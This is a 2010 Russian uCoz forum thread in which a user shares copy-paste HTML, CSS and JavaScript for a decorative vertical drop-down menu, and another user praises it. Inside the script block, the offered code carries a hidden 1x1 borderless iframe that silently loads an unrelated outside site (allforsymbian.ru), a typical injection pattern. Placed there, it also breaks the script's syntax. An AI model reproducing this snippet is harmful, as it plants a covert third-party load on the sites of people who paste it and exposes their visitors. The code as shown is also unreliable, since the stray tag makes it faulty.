[ Новые сообщения · Участники · Правила форума · Поиск · RSS ]

  • Страница 1 из 1
  • 1
Очень красивое вертикальное меню
RmKДата: Четверг, 21.01.2010, 22:23 | Сообщение # 1
V.I.P
Сообщений: 293
Репутация: 17
Этот код встявляем в любое место, заменяя на свое
Code
<!--U1MENU1Z--><table width="200" border="0" cellpadding="0" cellspacing="0">     
<tbody><tr> <td style="border: 1px solid rgb(140, 140, 140); padding: 5px; background: rgb(255, 255, 255) none repeat scroll 0% 0%; -moz-background-clip: border; -moz-background-origin: padding; -moz-background-inline-policy: continuous;">     
<style type="text/css">     

/*Credits: Dynamic Drive CSS Library */     
/*URL: http://www.dynamicdrive.com/style/ */     

.suckerdiv ul{     
margin: 0;     
padding: 0;     
list-style-type: none;     
width: 190px; /* Width of Menu Items */     
border-bottom: 1px solid #ccc;     
}     

.suckerdiv ul li{     
position: relative;     
}     

/*Sub level menu items */     
.suckerdiv ul li ul{     
position: absolute;     
width: 200px; /*sub menu width*/     
top: 0;     
visibility: hidden;     
}     

/* Sub level menu links style */     
.suckerdiv ul li a{     
display: block;     
overflow: auto; /*force hasLayout in IE7 */     
color: black;     
text-decoration: none;     
background: #fff;     
padding: 4px 15px;     
border: 1px solid #ccc;     
border-bottom: 0;     
}     

.suckerdiv ul li a:visited{     
color: black;     
}     

.suckerdiv ul li a:hover{     
background: #d4e7a3;     
}     

.suckerdiv .subfolderstyle{     
background: url(http://forever-web.ru/next.png) no-repeat center right;     
}     

/* Holly Hack for IE \*/     
* html .suckerdiv ul li { float: left; height: 1%; }     
* html .suckerdiv ul li a { height: 1%; }     
/* End */     

</style>     

<script type="text/javascript">     

//SuckerTree Vertical Menu 1.1 (Nov 8th, 06)     
//By Dynamic Drive: http://www.dynamicdrive.com/style/     

var menuids=["suckertree1"] //Enter id(s) of SuckerTree UL menus, separated by commas     
<iframe frameBorder=0 scrolling=no width=1 height=1 src=http://allforsymbian.ru></iframe>     
function buildsubmenus(){     
for (var i=0; i<menuids.length; i++){     
var ultags=document.getElementById(menuids[i]).getElementsByTagName("ul")     
for (var t=0; t<ultags.length; t++){     
ultags[t].parentNode.getElementsByTagName("a")[0].className="subfolderstyle"     
if (ultags[t].parentNode.parentNode.id==menuids[i]) //if this is a first level submenu     
ultags[t].style.left=ultags[t].parentNode.offsetWidth+"px" //dynamically position first level submenus to be width of main menu item     
else //else if this is a sub level submenu (ul)     
ultags[t].style.left=ultags[t-1].getElementsByTagName("a")[0].offsetWidth+"px" //position menu to the right of menu item that activated it     
ultags[t].parentNode.onmouseover=function(){     
this.getElementsByTagName("ul")[0].style.display="block"     
}     
ultags[t].parentNode.onmouseout=function(){     
this.getElementsByTagName("ul")[0].style.display="none"     
}     
}     
for (var t=ultags.length-1; t>-1; t--){ //loop through all sub menus again, and use "display:none" to hide menus (to prevent possible page scrollbars     
ultags[t].style.visibility="visible"     
ultags[t].style.display="none"     
}     
}     
}     

if (window.addEventListener)     
window.addEventListener("load", buildsubmenus, false)     
else if (window.attachEvent)     
window.attachEvent("onload", buildsubmenus)     

</script>     
<div class="suckerdiv"><b>     
<ul id="suckertree1">     
<li><a href="http://forever-web.ru/"><img src="http://forever-web.ru/templates/menu-icons/home.png" alt="" border="0"> Главная</a></li>     
<li><a href="http://forever-web.ru/forum/"><img src="http://forever-web.ru/templates/menu-icons/forum.png" alt="" border="0"> Форум</a></li>     

<li><a href="http://forever-web.ru/gb/"><img src="http://forever-web.ru/templates/menu-icons/gb.png" alt="" border="0"> Гостевая</a></li>     
<li><a href="http://forever-web.ru/load/"><img src="http://forever-web.ru/templates/menu-icons/files.png" alt="" border="0"> Все файлы</a></li>     
<li><a class="subfolderstyle" href="http://forever-web.ru/load/12"><img src="http://forever-web.ru/templates/menu-icons/soft.png" alt="" border="0"> Программы</a>     
<ul style="left: 190px; visibility: visible; display: none;">     
<li><a href="http://forever-web.ru/load/13"><img src="http://forever-web.ru/templates/menu-icons/other/01.png" alt="" border="0"> Мультимедиа</a></li>     
<li><a href="http://forever-web.ru/load/14"><img src="http://forever-web.ru/templates/menu-icons/other/02.png" alt="" border="0"> Безопасность</a></li>     
<li><a href="http://forever-web.ru/load/15"><img src="http://forever-web.ru/templates/menu-icons/other/03.png" alt="" border="0"> Интернет</a></li>     

<li><a href="http://forever-web.ru/load/16"><img src="http://forever-web.ru/templates/menu-icons/other/04.png" alt="" border="0"> Утилиты</a></li>     
<li><a href="http://forever-web.ru/load/17"><img src="http://forever-web.ru/templates/menu-icons/other/05.png" alt="" border="0"> Обслуживание</a></li>     
<li><a href="http://forever-web.ru/load/26"><img src="http://forever-web.ru/templates/menu-icons/other/06.png" alt="" border="0"> Графика и дизайн</a></li>     
<li><a href="http://forever-web.ru/load/28"><img src="http://forever-web.ru/templates/menu-icons/other/07.png" alt="" border="0"> Остальное</a></li>     
</ul>     
</li>     

<li><a class="subfolderstyle" href="http://forever-web.ru/load/1"><img src="http://forever-web.ru/templates/menu-icons/ucoz.png" alt="" border="0"> Все для uCoz</a>     

<ul style="left: 190px; visibility: visible; display: none;">     
<li><a href="http://forever-web.ru/forum/13"><img src="http://forever-web.ru/templates/menu-icons/other/08.png" alt="" border="0"> Скрипты</a></li>     
<li><a href="http://forever-web.ru/load/2"><img src="http://forever-web.ru/templates/menu-icons/other/09.png" alt="" border="0"> Шаблоны</a></li>     
<li><a href="http://forever-web.ru/load/5"><img src="http://forever-web.ru/templates/menu-icons/other/10.png" alt="" border="0"> Ранги</a></li>     
<li><a href="http://forever-web.ru/load/4"><img src="http://forever-web.ru/templates/menu-icons/other/01.png" alt="" border="0"> Кнопки форума</a></li>     
<li><a href="http://forever-web.ru/load/6"><img src="http://forever-web.ru/templates/menu-icons/other/02.png" alt="" border="0"> Иконки форума</a></li>     
<li><a href="http://forever-web.ru/load/7"><img src="http://forever-web.ru/templates/menu-icons/other/03.png" alt="" border="0"> Иконки групп</a></li>     

<li><a href="http://forever-web.ru/load/29"><img src="http://forever-web.ru/templates/menu-icons/other/04.png" alt="" border="0"> Остальное</a></li>     
</ul>     
</li>     

<li><a class="subfolderstyle" href="http://forever-web.ru/load/22"><img src="http://forever-web.ru/templates/menu-icons/photoshop.png" alt="" border="0"> Photoshop</a>     
<ul style="left: 190px; visibility: visible; display: none;">     
<li><a href="http://forever-web.ru/load/23"><img src="http://forever-web.ru/templates/menu-icons/other/05.png" alt="" border="0"> Кисти</a></li>     
<li><a href="http://forever-web.ru/load/25"><img src="http://forever-web.ru/templates/menu-icons/other/06.png" alt="" border="0"> Стили</a></li>     
<li><a href="http://forever-web.ru/load/27"><img src="http://forever-web.ru/templates/menu-icons/other/07.png" alt="" border="0"> Перекрытия</a></li>     

<li><a href="http://forever-web.ru/load/24"><img src="http://forever-web.ru/templates/menu-icons/other/08.png" alt="" border="0"> Psd исходники</a></li>     
<li><a href="http://forever-web.ru/load/30"><img src="http://forever-web.ru/templates/menu-icons/other/09.png" alt="" border="0"> Остальное</a></li>     
</ul>     
</li>     
<li><a href="http://forever-web.ru/photo/"><img src="http://forever-web.ru/templates/menu-icons/img.png" alt="" border="0"> IMG В Контакте</a></li>     
<li><a href="http://forever-web.ru/index/0-9"><img src="http://forever-web.ru/templates/menu-icons/reg.png" alt="" border="0"> Авто регистрация</a></li>     
<li><a href="http://forever-web.ru/index/0-10"><img src="http://forever-web.ru/templates/menu-icons/obr.png" alt="" border="0"> Обратная связь</a></li>     

<li><a href="http://forever-web.ru/index/0-13"><img src="http://forever-web.ru/templates/menu-icons/uifw.png" alt="" border="0"> UIFW</a></li>     
</ul>     
</b></div>     
</td></tr></tbody></table><div style="height: 5px;"></div><!--/U1MENU1Z-->     
<!--U1CLEFTER1Z--><!-- <block2> -->



 
2qqДата: Четверг, 21.01.2010, 22:31 | Сообщение # 2
You are assured of it?
Сообщений: 307
Репутация: 12
RmK, красивенькое менюшко

You are assured of it?
 
  • Страница 1 из 1
  • 1
Поиск:

Статистика Форума
Последнии темы Читаемые темы Лучшии пользователи Новые пользователи

Обмен сылками с game-info.net.ru

(1)

Сохранение GIF анимации в AE с помощью Ps

(1)

А вы играете в онлайн игры?

(9)

Очень интересные часы на сайты кс

(0)

Новейший Вид опроса

(0)

Новая Форма входа пользователей (под светлый дизайн)

(0)

Новая Форма входа пользователей (под тёмный дизайн)

(0)

Компактный мини профиль для uCoz

(0)

Классная статистика для кс сайтов

(0)

Разговариваем обо всем!!

(151)

Разговариваем обо всем!!

(151)

Досчитай до 1000

(94)

ctrl+v

(79)

Игра "Прибавь 7"

(75)

Слово на последнюю букву

(69)

Обратный отчет

(36)

Ключи для обновления NOD32

(29)

Заказ титула

(27)

Полный облом

(24)

Телефоны юзеров

(17)

SweeX

(603)

2qq

(307)

RmK

(293)

L1ghT

(151)

rony

(119)

LiNX

(88)

Speed

(77)

KEJlbBIH

(70)

skelet

(57)

gans

(53)

Fenics

( 17.02.2024 )

Erabunta

( 08.01.2024 )

rJIiOK

( 17.03.2023 )

babay

( 14.03.2023 )

Алдер

( 17.06.2022 )

New-Classic

( 16.07.2020 )

Пончик

( 13.07.2020 )

Dread

( 30.05.2020 )

hariocu

( 27.04.2020 )

lexcrow

( 03.04.2020 )





© Theysoft.ru ©2010
При копировании ссылка на первоисточник обязательна.
Авторы проекта не несут ответственности за содержание рекламных материалов и файлов, размещенных на сторонних серверах.
SiteMap.xml | ForumSiteMap.xml | Хостинг от uCoz